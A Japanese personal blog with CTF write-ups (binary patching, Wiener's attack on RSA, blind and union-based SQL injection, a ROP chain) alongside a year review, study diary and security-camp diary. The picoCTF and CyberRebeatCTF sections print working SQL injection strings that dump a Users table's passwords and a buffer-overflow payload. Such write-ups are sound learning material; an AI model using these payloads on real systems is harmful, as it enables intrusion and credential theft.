未経験からプロになる!!

将来の初心者の方のために,僕がプロになるまでの過程をここに残しておこうと思います.

flag generatorの人力デコンパイルができなかったので

InterKosenCTFに参加しました.

冒頭になりますが


 

 

 

 

こんなに悔しいと思ったことはなかった
 

 

 

 

こんなに無力さを感じたのは久しぶりだった

 

 

 

 

 

 

 

...まあそれはいいとして,flag generatorをたぶんちょっと変わったやり方でやった(やっちまった)のではないかと思ったので載せておきます.

はじめに,flag generatorはおそらくこんな感じのプログラムだと思います.

#include <stdio.h>
#include <time.h>

int s;

void r()
{
    int tmp = s;
    tmp *= 0x41C64E6D;
    tmp += 0x3039;
    tmp = tmp & 0x7FFFFFFF;

    s = tmp;
};

int main()
{
    //from var_30 to var_c
    int constant1[10] = {
        0x608F5935,
        0x57506491,
        0x27365557,
        0x54E3DEA1,
        0x755A4ED5,
        0x17F42EB7,
        0x4A4F9059,
        0x1A08E827,
        0xD9D391F,
        0x59E533AA,
    };

    // var_38
    int constant2 = 0x25DC167E;
    //var_34
    int loopend = 0xA;
    //var_40
    int counter = 0;
    //var_3c
    int flag = 0;
    //var_44
    int calc_t = 0;

    int t;

    while (1)
    {
        if (flag == 0)
        {
            t = time(NULL);
            s = t;
        }

        r();

        calc_t = s;

        //t = 1509961785でフラグが立ちます
        if (calc_t == constant2)
        {
            flag = 1;
        }

        if (flag != 0)
        {
            calc_t = calc_t ^ constant1[counter];
            
            printf("%.4s", (char*)(&calc_t));
            
            counter += 1;
            if (counter == loopend)
            {
                break;
            }
        }
        sleep(1);
    }

    return 0;
}

要は,フラグが立っていればまずUNIXタイムを取得して,そのUNIXタイムに対しr()関数で計算をして,その結果が0x25dc167eと等しければフラグを立て,フラグが立っていれば定数配列のループカウンタ番目の数値と先ほどのr()の計算結果をxorして表示してからループカウンタをインクリメント,最後にフラグにかかわらず1秒間スリープします.以上の無限ループです.

当然時間的に待ってられないので,時間の部分をwhileループごとのインクリメントに変えます.

#include <stdio.h>
#include <time.h>

int s;

void r()
{
    int tmp = s;
    tmp *= 0x41C64E6D;
    tmp += 0x3039;
    tmp = tmp & 0x7FFFFFFF;

    s = tmp;
};

int main()
{
    //from var_30 to var_c
    int constant1[10] = {
        0x608F5935,
        0x57506491,
        0x27365557,
        0x54E3DEA1,
        0x755A4ED5,
        0x17F42EB7,
        0x4A4F9059,
        0x1A08E827,
        0xD9D391F,
        0x59E533AA,
    };

    // var_38
    int constant2 = 0x25DC167E;
    //var_34
    int loopend = 0xA;
    //var_40
    int counter = 0;
    //var_3c
    int flag = 0;
    //var_44
    int calc_t = 0;

    int t = 1509961780;

    while (1)
    {
        if (flag == 0)
        {
            s = t;
        }

        r();

        calc_t = s;

        //t = 1509961785でフラグが立ちます
        if (calc_t == constant2)
        {
            flag = 1;
        }

        if (flag != 0)
        {
            calc_t = calc_t ^ constant1[counter];
            
            printf("%.4s", (char*)(&calc_t));
            
            counter += 1;
            if (counter == loopend)
            {
                break;
            }
        }
        t += 1;
    }

    return 0;
}

これでキレイにフラグが出ます.
f:id:verliezer93764:20190121002209p:plain

しかし,このプログラムは実はctf終了後に書いたもので,競技中には実行ファイルはなぜか消えるわフラグは出ないわで,結局人力デコンパイルは諦めてしました.

このままでは埒が明かないのでELFを改造してみることを思い立ち以下のことを行いました.

1."call _time"を"mov eax, 0x5a003039"にする

これで無限ループ中の1回目のループでフラグ変数が立ち,1秒ごとにフラグの一部が表示されるようになります.なお,フラグ変数が立つとこの部分は実行されないのでプログラムにこの変更による悪影響はありません.
movの機械語もわからなくて困ってましたが,のちの"mov eax, 0"の機械語が"b8 00 00 00 00"で表されていることを参考に該当部分をIDAで探し,バイナリエディタ上でアドレスが0x00001205から5バイトを"e8 46 fe ff ff"から"b8 39 30 00 5a"に変更しました.

変更前が次の図
f:id:verliezer93764:20190121003209p:plain
変更後が次の図
f:id:verliezer93764:20190121003435p:plain

2."call _sleep"をNOPで埋める

これはオプションで,ただ数秒すら待たないようになるだけです.
該当部分をIDAで探し,バイナリエディタ上でアドレスが0x0000126cから5バイトを"e8 ef fd ff ff"から"90 90 90 90 90"に変更しました.

変更前が次の図
f:id:verliezer93764:20190121003653p:plain
変更後が次の図
f:id:verliezer93764:20190121003748p:plain

これらを行った結果,フラグは一部おかしいですが表示されました.最後の?が消えていたので,何度もKOSENCTF{IS_THIS_REALLY_A_REVERSING}で提出してWrongって言われて「は?!?!?!?」ってなりました()
f:id:verliezer93764:20190121005827p:plain

実は'?'の後に'\b'があるらしく,それで'?'が消えていたとのことですが,「さては(何らかの理由で)'?'が必要なのでは」と思って何とかcorrectになりました.でも何で上記のプログラムではうまくいったんでしょうかね....

2018年の振り返りと2019年へ向けて

こんにちは.早いものでもう2019年も終わりですね.(実験よお前のせいだ)

ということで今年1年を振り返っていこうかなと思います.

1月

CTFをやりはじめてから1ヶ月.この月はテストがあり虚無だった気がする.テスト終わりと同時にメモリ16GB,SSD1TBを満たす自分専用のノートPCを買う大きな出費をしたが,これはとても良かったと思う.macの操作が教養になってる感が否めないので,この前出たMacbookAirを買うかどうか迷ってる.

2月

この月からProgateで色んな言語を学んでいたが,正直無駄が多かった.とりあえずPython3だけでよかったかなぁ.そして,「サイバーセキュリティプログラミング」の勉強方法がわからず時間を浪費した感じがする.はじめてオンラインCTFに参加してあまりの楽しさにはまる.

 

3月

 x86の勉強を始める.この月の特に前半がたぶん今年で二番目に充実してたと思う.策謀本を読むもあまりすすまなかったので,来年春にでもまた挑戦したい.(内容が少し古いという声も考慮が必要?)2回目のオンラインCTFではじめてpwn問を解けてうれしかったなあ.応用情報技術者試験は春休みにたっぷりできるだろうと思っていたが,x86の勉強やCTFが楽しくてまったく進まなかった.来年春はSCを受けるが,正直いって参考書を読むのがつらいので,過去問演習を重視するつもりです.

4月

さすがにAPの勉強したほうがいいのではと春学期が始まっているのに 「応用情報技術者試験,半月あれば受かる説」という謎の説を検証して無事受験料をどぶに流す.

 (割と惜しかったけど)

f:id:verliezer93764:20181228183904p:plain

セキュリティキャンプ2018全国の募集が解禁.「へぇ~来年応募できればいいなあ~」と思っていたものの先輩の奨めにより応募.たしかに応募課題は難しかったが,完全に手も足も出ないことはなく,知らないことを少しずつ着実に調べて課題の作業に徹していたこの時期が今年一番充実していたと思う.

5月

応募課題をひたすらやっていた.アセンブリ言語を読む問題と自分が今までやったことを述べる課題,脆弱性を選んで調べる問題にひたすら苦しんでいたが,なんとか締め切り直前に完成.もう一度言うがこの時期が今年一番充実していたと思う.

verliezer93764.hatenablog.jp

 もう一度晒すのは恥ずかしいがたぶんこの記事を見ている方は既に見てると思うので…

6月

何らかのバグで合格してしまう.僕なんかよりもっと未来ある小中高校生がたくさんいるはずなのでぜひ応募してみてほしいと思います.

 その後は事前課題と学校をなんとか両立させようと頑張る.けっこう厳しかった.

7月

テストが邪魔で,事前課題がかなりつらかった.

8月

セキュキャンに向けた勉強と当日,と復習だけ.ただ後半やや虚無気味だったのはいけなかった.

verliezer93764.hatenablog.jp

 この参加記録ですがけっこうこのブログへのアクセス数があることと,知識や心境が少しずつ変わりつつあることからちょっと修正を入れると思います.

もっと交流もてたりしたんじゃないかな,あの時は楽しかったな,とさみしさを再び感じます.

9月

SC試験の勉強をするが身がなかなか入らない.そして弊学弊学科名物の実験科目がスタート.実験が始まる前にpicoCTFを楽しくさせていただき,のちに復習するつもりであったが,実験が本格的に始まると多忙になってしまい結局いまのところできていない.これも春にやらなければね.

 

seccampつながりではじめてのインターン.緊張してかなりひどかったな…最後は楽しく終われたけど.同じインターンに参加してた人も優しかったなぁ…

 

10月

GPAが0.6しか下がらず安堵した.

また,どうせ受かんないだろうとSC試験は結局受けなかった.でも受けときゃよかったとめっちゃ後悔しています.

このころから鬱ツイが増える…

 

11月,12月

実験によって自分の時間がほぼ持てない.そのうちにまわりの人々が自由にしているのを見てとてもつらい時期だった.

いいねで~シリーズ挑戦三回目でやっといいねをもらい,FF内の方は自分のように邪悪な感情はなくて優しい,と心が温まった.来年はもっとかかわりをもっていければなあ.

12月3日にCTFを初めてから1年が経った.3月あたりから成長している気がしない...

12月23日にはSECCONの見学をしてきました.ブログに書くほどのことではなかったかなと思ったので,書きませんでした.

f:id:verliezer93764:20181229072626j:image

f:id:verliezer93764:20181229072720j:image

いやーもう,感動しましたよ.有名な方と展示等で会えましたし,なんといっても目の前で世界レベルの対戦が行われているので会場の雰囲気にゾクッときました.

2年後に国内決勝か国際決勝に行くことを誓いました.

 

来年やりたいこと・目標

来年はB3.特に基礎力強化,そして優しく接してくれる皆さんとの関わりに努めたいと思います.

 

SC試験合格(全日程通し80点以上)

 来年春に取りに行きます,絶対に!!

 

サイバーセキュリティトレンドの情報収集の習慣化

時事情報の収集が今のところ全然できていないので,1日に1時間くらい情報収集の時間を設けたい.

 

積み本の高速理解

Bundleで買った本などがめちゃめちゃ溜まっています.これらをどう高速に読み,かつ理解するか,考えなきゃいけない…

そして,電子書籍専用の端末を買いたい.どういうものがおすすめなのだろうか.

 

SECCON CTF 2019 予選100位以内

今年はほとんど手も足もでなかったが,Write-upを見てるとなんとか,なんとかできなくもなさそうなものがあったので来年はもっと解ければいいな…と思います.さすがにマルチアーキテクチャの問題は無理かなと思います.

 

FF内の方々と絡む

最近はTwitterでとても荒れていたり,実力的に期待外れなはずなのに優しいメッセージが来たり,とフォローしてくださった方々の優しさを身にしみて感じました.もっとリプしてみるなど絡んでいけたら邪悪な考えは収まるのかな,と思っています.

 

Micro Hardening等への参加

実践的な技術習得のために今年は色んな勉強会とか競技に参加してみたい.

 

github.ioの製作

はてブ以外の自分専用のページが欲しいので.でも凝ったページを作る技術がない上に,それを許容しても書けるほどの実績とか特にないのが問題..

 

色んなことの復習(春休み中)

微積分,群・環・体論など,学校で習ったことの復習.

 

機械学習の基礎(春休み中)

方法については先輩方からアドバイスをいただく予定.

 

あとこだどうしよう

競プロ,楽しいんですが今更感半端ないんですよね…どうしようか…

 

痩せる!!!!

でも,なにやったら皆さんみたいに細い体型を維持できるんですか…?

 

健全なツイートを心がける

積極的にミュート機能,ブロックを利用する,単語のミュートなど,メンタルを自衛する策を施して,来年は健全なTwitterライフを目指します...

 

無駄な時間をどう排除するか

ここに来年成長できるかのポイントが凝縮してると思います.ということで,ツイキャスというやつを日中やるか,勉強机を一定時間おきに撮影してタイムラプス動画をつくって公開するなどの策を検討中です.ただ音声や画像による個人情報漏れの対策を取らなければいけないのでちょっと厳しいかなという感じがします.

 

 

 

これらの目標については来年の状況によってだいぶ変わってくると思います.去年大晦日に言ったこともほぼ達成できてないですし. 

 

…実体験として,こうやって目標をたっくさん立てたりなんてしてると,そのうちほとんどが変わるか,達成できないんですよね.というわけで,とりあえずもっとも重視しているものを3つあげます.

  • SECCON CTF 2019 予選100位以内

  • SC試験合格(全日程通し80点以上)

  • 健全なツイートを心がける,メンタルの自衛

 

 

まとめ

とにかくさんざん色んな人々にメンタルをぶっこわされて,今度はお前にも絶望を教えてやるからなと思ったことが多かった一方,まだ自分の存在を認めて接してくれる優しい人々に心が温まることも多くそれらが交互に起きて,今も複雑な感情を抱いています.来年は束縛される時間が減るので若干ましになるかとは思いますが,僕も邪悪なことを考えないよう我慢しますので…仲良くしてくださる方は来年もよろしくお願いいたしますm(_ _)m.

picoCTF - Writeup(遅遅の遅)

つらい実験科目によってほとんどフリータイムがない中,picoCTFのWriteupを(今頃)書きました.内容は以下に示す3問のみです.
・Super Safe RSA 2
・A Simple Question
・rop chain

Super Safe RSA 2

公開鍵(e, n)と暗号文cが渡されますが,せいぜい65537程度の大きさであるeの値がべらぼうにでかいので,Wiener's Attackが使えます.いやぁ~,自分で一回実装しといてよかった,と思った一問でした(自分語り).
クソコードをのっけます.こいつは来年の春にでもきれいにできれば,と思っています.

import math

#--------PLEASE SET (e, n)--------
def set_values():
    e = 166469415374069307881604324436342677840204259559951383103458348696214353018185580067127805885715702582826742952855206035850607388392166614056495391290151746650424386583535774622709912504383483742572448337565274948581041550819383283860203664028306185265859707368577879926514232681259612579344391833668817270913
    n = 167818890560996465630467660522759422821311591428711487378116440524593140343836769125663052058639440088766593645612546346278130386295299544461168104275998718733123494540156011937404481135312366524773575109469754297864828333733123922028880567126525579171598321755189056067313592155802703541501512699223753527743
    return e, n
#--------------------------------------

def fix_den(m, num, den):
    return m * den + num, den

def convert_to_a_fraction(cf):
    index = len(cf) - 1
    num = cf[index - 1]
    
    num, den = fix_den(cf[index - 1], 1, cf[index])
    index -= 1
    
    while True:
        if index == 0:
            return num, den
        else:
            num, den = fix_den(cf[index - 1], den, num)
            index -= 1

'''
This function returns
{int(sqrt(num)) ---if num is a square number.
{-1 ---------------if num is not a square number.
'''
def calcSquare(num):

    if num<0:
        return -1

    maximumbase=1

    while maximumbase<=num:
        maximumbase*=10

    answer=0
    success_flag=False

    while maximumbase>=1:
        maximumbase//=2
        square=pow(answer, 2)

        if square==num:
            success_flag=True
            break
        elif square<num:
            answer+=maximumbase
        else:
            answer-=maximumbase
            
    if success_flag:
        return answer
    else:
        return -1



def is_square(num):

    a = 1
    exp = 0
    
    while a < num:
        a *= 4
        exp += 1
    
    answer = pow(2, exp)
    dist = answer // 2
    
    while True:
        
        num_2 = answer * answer
        
        if num_2 == num:
            return True, answer
        elif num_2 < num:
            answer += dist
        else:
            answer -= dist
        
        if dist==0:
            if num_2 > num:
                return False, answer
            else:
                return False, answer+1
        
        dist //= 2




def main():
    e, n = set_values();
    
    success_flag=False

    cf=[]
    k=e
    d=n
    cf.append(e//n)
    
    while True:
        tmp=d
        d=k%d
        k=tmp
        
        cf.append(k//d)
        
        num, den = convert_to_a_fraction(cf)

        if (e * den - 1)%num==0:
            
            phaiN=(e*den - 1)//num
            b=n-phaiN+1
            c=n
            
            #sqrt(b^2-4ac)
            rt2 = pow(b, 2) - 4 * c
            flag, rt = is_square(rt2)
            if rt2 > 0 and flag == True:
                
                #解p,qは整数か
                if b % 2 == rt % 2:
                    p=(b + rt) // 2
                    q=(b - rt) // 2
                    
                    print("p=")
                    print(p)
                    print("q=")
                    print(q)
                    success_flag = True
                    break

        if num == e and den == n:
            break

    if success_flag == False:
        print("failed...")

if __name__ == "__main__":
    main()

この結果,pとqは以下のように求まります.

p=
13187791611843376794443813417505164905719902975940204994951353780300053316986286058129548697178236289057253045681561721903633315886536681830716299905580769
q=
12725321683903898367448235894643841040653555869947621697905115020959136660923216347010267828363037006731940776069218036492902863509365802709092550777996447

これにより復号を行うと,平文mは16進数で,

7069636f4354467b77407463685f793075725f5870306e336e74245f6340723366753131795f303532353436357d

となり,これをASCIIコードに直すと,
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_0525465}
となります.

A Simple Question (650pt)

650ptだがサービスなSQLiの問題.フォームに何かを入力するとそれに応じて"You are so close."あるいは"Wrong."のYes/No的な返答が返ってくるのでBoolean-based blind SQLiを疑います.ご丁寧にも「SELECT * FROM answers WHERE answer='(フォームに打ち込んだ文字列)'」がクエリになっていることが示されているので,たとえば次のような文字列を入力すると,answerの2文字目のASCIIコード値が文字XのASCIIコード値より大きいかについて調べられます.
「' or SUBSTR(answer,2)>'X';--」
したがって,これとASCIIコード表を併用すれば,n文字目の文字が何であるか,二分探索により調べることができます.僕にはコーディング能力がないので,手動でこれを何回も行いました.疲れました.もしかしたら,pythonでクエリを送ってレスポンスから自動的に二分探索していく,ということができたかもしれません.
上記の入力をしているうちに,x文字目がすべての印字可能な文字のASCIIコードよりも小さくなります.それが文字列answerの終端です.
結果,answerの正体は,文字列"41AndSixSixths"でした.これを直接フォームに入力すると,フラグが得られます.
f:id:verliezer93764:20181026062100j:plain

rop chain

次のようなプログラムが渡されます.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

この問題を解くには,次の手順が必要です.
1.vulnでBOFを起こす
2.サブルーチンwin_function1に入ってwin1をtrueにする
3.引数に0xBAAAAAADを指定しながら,サブルーチンwin_function2に入ってwin2をtrueにする
4.引数に0xDEADBAADを指定しながら,サブルーチンflagに入ってフラグを表示させる

まず,win_function1の先頭アドレスは0x080485cbなので,1と2を行うためには,bofを以下のように実行して,バッファを埋めてリターンアドレスをwin_function1の先頭アドレス0x080485cbに書き換えます.(実行はまだしないでください)

python -c 'print("A"*28+"\xcb\x85\x04\x08")' | ./rop

次に,3を起こすことを考えます.まずは,サブルーチンwin_function1からret命令により移動するリターンアドレスをwin_function2の先頭アドレス0x080485d8に書き換えます.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08")' | ./rop

また,今回は引数として0xBAAAAAADを与える必要があります.そこで,引数はどのアドレスに入るかをIDAから見ることにします.次の図が,IDA上でみたwin_function2の一部です.
f:id:verliezer93764:20181026192543j:plain
これを見ると,$esp+8というアドレス以降に格納されている値と0xBAAAAAADを比較し,等しければwin1が1すなわちtrueになることがわかります.ebpにespを代入している時点で,espの値(指しているアドレス)は"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"のうち"\xd8"のアドレスになります.したがって,これから8大きいアドレスに0xBAAAAAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba")' | ./rop

最後に,4を起こすことを考えます.まずは,サブルーチンwin_function2からret命令により移動するリターンアドレスをflagの先頭アドレス0x0804862Bに書き換えます.ret命令でpopされてeipに入るのは"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba"のうち"A"*4の部分なので,ここを"\x2b\x86\x04\x08"にします.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba")' | ./rop

また,今回は引数として0xDEADBAADを与える必要があります.しかし,先ほどと同様に,"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"の"\x2b"が入るアドレスより8大きいアドレスに0xDEADBAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

したがって,問題サーバ上で

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

を打ち込めば,フラグを表示してくれます.
f:id:verliezer93764:20181026183205j:plain

CyberRebeatCTF 少しだけwrite-up

おそらくすでに超サイヤ人の方々が色々書かれていらっしゃるので,私は2問だけwrite-upを書きます...
レベル自体は自分にとって難しすぎることなく,楽しかったです!

SimpleBinary

64bitELFで,実行しても何も起こりません.ということで,IDAを使います.まず目を引くのは,26バイトの領域に即値を入れており,その26という長さもある領域に書き込んでいるということです.そしてその後,esiにバイト数の26(=0x1B),rdiに26バイトの最初のアドレスを格納し,sub_400546に渡します.
f:id:verliezer93764:20180909190907j:plain
sub_400546では,さらにvar_70からvar_Cまでの26バイトにかけて即値を代入しています.そして,その後は26回のループに入ります.したがって,このループではmainで定義した,あるいはsub_400546で定義した26バイトのバイト列について1バイトずつ何かしらの操作を行っていくと考えました.
f:id:verliezer93764:20180909191351j:plain
f:id:verliezer93764:20180909191608j:plain
あとはループの中でどのような操作が行われているか考えます.けっこう時間がかかってしまい,コメントでぐっちゃぐちゃになってしまいましたが,落ち着いて一行ずつ読んでいったところ,ここでは以下のpythonスクリプトと同様なことを行っていることがわかりました.Cで書いたほうが正確にできたなあ,と反省しています.なお,ループの最後でrdxの指すアドレスに操作結果の値を代入しているため,これが答えにつながると考え,表示を行っています.

import sys

input_26_chars =   [0x7B,0x69,0x43,0x43,0x20,0x2E,0x73,0x69,
                    0x74,0x68,0x20,0x74,0x27,0x75,0x20,0x46,
                    0x6E,0x7D,0x64,0x49,0x6D,0x54,0x67,0x61,
                    0x52,0x68]

plus_26_data = [0x03,0x0B,0x00,0x16,0x0F,0x16,0x13,0x0C,
                0x07,0x0B,0x0E,0x17,0x0F,0x17,0x01,0x14,
                0x14,0x01,0x11,0x14,0x09,0x03,0x01,0x0E,
                0x01,0x16]

for i in range(26):
    data1 = input_26_chars[i]
    tmp_char = data1

    data2 = plus_26_data[i]
    data3 = input_26_chars[data2]

    input_26_chars[i] = data3

    data4 = plus_26_data[i]
    input_26_chars[data4] = tmp_char

for i in range(26):
    sys.stdout.write("%s" % chr(input_26_chars[i]))

実行結果:CRCTF{It's a humid night.}

Uploader

まーたアップロードサイトの脆弱性を突く問題か…と思ったらSQLiの問題.
まずは定番,シングルクォーテーションマークをフォームにぶち込んでいく.するとFilename: のところでエラーが出ます.入力したfilenameをsql文で問い合わせている,といったところでしょう.
f:id:verliezer93764:20180909190716j:plain
というわけで,みんな大好き「' or '1'='1';--」を打ち込みます.すると,先ほど見えなかったユーザ"harada"によるzipファイル"secret.zip"が現れます.
f:id:verliezer93764:20180909222635j:plain
早速ダウンロードし,中にflag.txtがあることが確認されましたが,解凍するにはパスワードが必要です.そこで,サイトから更なる情報を求めます.具体的には,UserIDとPasswordを入れて,ログインするためのボタンがあるので,"harada"のIDとPassを取得し,"harada"のアカウントでログインすることを目指します.先ほどのエラー表示からsqlite3を使っていることが判明したので,googleでsqlite3のsqliについて調べます.しいて言えば,チートシートを調べます.
下記がいいでしょう.
github.com
まずは使用されているテーブルの名称がわからないと何もできないので,上の情報から「SELECT name FROM sqlite_master WHERE type='table'」または「SELECT sql FROM sqlite_master WHERE type='table'」を用いて,Union-based SQLiを行います.ちなみに,後者を行うとカラムの名称までわかるので,後者を使用します.ちなみに,今回の表ではカラムはID,FileName,Published,UploadUserの4つであることに注意し,「' union SELECT sql,1,1,1 FROM sqlite_master WHERE type='table';--」などと入力します.以下のような結果が返ってきます.
f:id:verliezer93764:20180909224947j:plain
したがって,最後に「' union select userid,password,1,1 from Users;--」を打ち込めばuserIDとPasswordがわかります.
f:id:verliezer93764:20180909225456j:plain
useridに"harada",Passwordに"seishin0129"を打ち込むと次のページが表示されます.
f:id:verliezer93764:20180909225716j:plain
この"554587c5adc54a2a2e6f"によってsecret.zipを解凍できます.
f:id:verliezer93764:20180909230130j:plain
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

2018年8月の進捗

8/23(thu.)
Python連立方程式計算機制作開始
ガウス消去法実装終了

8/24(fri.)
Python連立方程式計算機(一応PyseqSolverと呼んだ)で,係数行列の行列交換を実装.しかし解のない連立方程式を(例えばx+y+z=1,x+y+z=3)放り込むとある関数でゼロ徐算エラーになる.
・PySeqSolverの変数の方が方程式の個数より多い場合,一部を任意定数と置く機能を実装
・以前制作したC版SeqSolverと機能は同等になる
画像はx+2y=3,4x+5y=6を放り込んだ場合の実行結果です.
f:id:verliezer93764:20180825001354j:plain
・今後は行列交換の修正と色んなケースでテストをします.

8/25(sat.)
・PySeqSolver仮完成
f:id:verliezer93764:20180825233659p:plain
・「これ1冊でできる!ラズベリー・パイ超入門」購入

8/26(sun.)
Cpawctf2のネットワーク300問題に挑戦。足がかりはつかめた?

8/27(mon.)
あやしいホストを探したりしたが,結局解けず.

8/28
ない、やばい

8/29
ハリネズミ本ネットワーク問題1

8/30
なし

8/31
・パケット解析ツール制作に着手(仮名:pacanalyzer)
・pcapヘッダ解析終了,pcap-packetデータの読み取り機能が完成

進捗日記について

本日(2018/08/23)から毎日僕の進捗を載せていきます.目的は2つあります.

・勉強に集中するように自制するため

・初心者である自分がプロになるまでの道を残し,後世の初心者の参考になってほしいから

決して毎日大きい進捗を出せるとは思いませんが,心機一転がんばっていきます.

セキュリティキャンプ2018参加日記

[!]Warning:
講義内容等の流出の制限がありますので,公式から得られる情報以上の講義情報(とくに技術情報)は記述しません.ご了承ください.

キャン当日まで

・事前課題
僕は,次の講義を受講しました.
A1~3「インシデントレスポンスで攻撃者を追いかけろ」
A4「IN-DEPTH STATIC MALWARE ANALYSIS」
E5「Linuxカーネル脆弱性入門 」
D6「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~」
E7「シリアル通信から学ぶBadUSB自作演習 」
いわゆる低レイヤや組み込み系に触れるのは初めてでしたが,とても興味があったので受講しました.
これらのうち,A1~3とA4とD6には事前課題がありました.どれも講義をスムーズに受けるためには重要だったので,大学ではテスト勉強で非常に忙しい時期だと思いますが,早めにやっておくことを強くお勧めします.(GPAをそれまでに稼いでおくとよい?)

・名刺
何をかけばよいのかわからず,総計2日ほどかかってしまいました.Twitterアイコンや,所属を書いておけば十分な気はしましたね.もちろんTwitterをやっておくとアイコン等であの人だと識別したりして便利ですが,気さくな方だったりするとTwitterアカウントをお持ちでなくとも覚えることができたりするので,このためだけにアカウントを作る必要もないかなと思います.
f:id:verliezer93764:20180808103239j:plain

1日目

・xwaveまでの道で迷わないようにご注意ください!
最寄りの北府中駅で降りましたが,本物の府中刑務所方面へ行ったり駅からの出口を間違えたりしたので,スマホGPSをONにしておくといいです.ビル群のある方へ向かってください.

・暑い
当日はクソ暑かったです.タオルを忘れないでください!!受付時間より早く到着したので,近くのケーズで涼みました.

・受付~昼食
受付開始時間の10分後あたりには受付に長蛇の列ができます.そのうちに近くの方と名刺交換をしたほうがいいです.受付を済ませると,昼食タイムです.昼食は緊張した感じでしたが,チューターの方が話題づくりをしてくださったおかげで打ち解けました.同じテーブルの方と名刺交換をしました.また,偶然Aトラックのプロデューサーの方と同席していたので,けっこう会話しました.
f:id:verliezer93764:20180814122922j:plain

・名刺交換タイム?
参加者同士の名刺交換のための時間は設けられていませんが,昼食を食べてから大講習室でおこなわれる開会式までは1時間ほどあり,日程を通してあまり関わらなさそうな参加者の方とも名刺交換や会話ができます.この時間は積極的に交流したほうがいいです!!

・開会式
えらい方々からのお話を聞きます.ところで開始早々貸与パソコンや,色んな企業さんのグッズ,講義用資料が机の上に置いてあり,持って帰らなければならないので,荷物がオーバーフローします.なるべく空きのあるリュックサックを持ってきましょう!!

・全体講義「セキュリティ基礎」
自分があまり考えたことのない面を深堀りした講義で,またグループで考察したりしました.周囲の方の発想が面白く,楽しめました!

・特別講演(1)「自由なエンジニアとは何か ~OSCを全国各地で150回以上やって分かったこと~」
OSCなどの運営や,運営しているときに感じたことについての講義でした.行動力や,運営にあたって生ずる課題やそれに対してどうするか考えていく姿勢を見習いたいなと思いました.

・特別講演(2)「ハッカーは法律を破るのか」
セーフなのかアウトなのか,微妙に感じられる事例がいくつか提示され,考察したりしました.独房に入るくらいなら死んだほうがましなので今後の勉強方法には厳重に注意していきたいです!!!

・夕食
夕食後にスイーツ会みたいなのがあり,初日にもかかわらずみんな楽しく交流しました!
f:id:verliezer93764:20180814182111j:plain

・LT会
自分にとっては難しい話が多く,強い人ってこんなことしてるんだなあ…と力の差を感じました.僕もあんなに打ち込めるようなことを探そうと思います.

・グループワーク
今までの参加者の方の参加記をみておびえていたのですが,今年は各自がキャンプ後にどのようなことをしていくか具体的に考えて最終日に提出するという形であり,徹夜の心配はなくなりました.また後半ではチュータや講師の方々と交流し,名刺交換をしたり,悩みを相談したりしました.

・部屋に帰る
部屋の中はこんな感じです(ただしこれは最終日の朝に撮影).カーテンを閉めるとちょっと暗いです.ところで,バスタオルはユニットバスの部屋の天井に近いところに置かれているので注意してください.20分くらい探しました.
f:id:verliezer93764:20180818080021j:plain
テレビでDBZのアルティメット悟飯対悪ブウの回をやっていたので少し見て,寝たのは24時すぎです.
一応夜景です.
f:id:verliezer93764:20180815225959j:plain

2日目

・起床&朝食
毎朝5時40分くらいに起き,6時40分くらいに朝食を食べました.バイキング形式で,最終日までメニューはほとんど同じです.温泉卵の卵かけご飯を毎日たべました.うまかったです.また,この日から毎日ある参加者の方と一緒に朝食を食べました.
f:id:verliezer93764:20180815064845j:plain

・A1~3「インシデントレスポンスで攻撃者を追いかけろ」
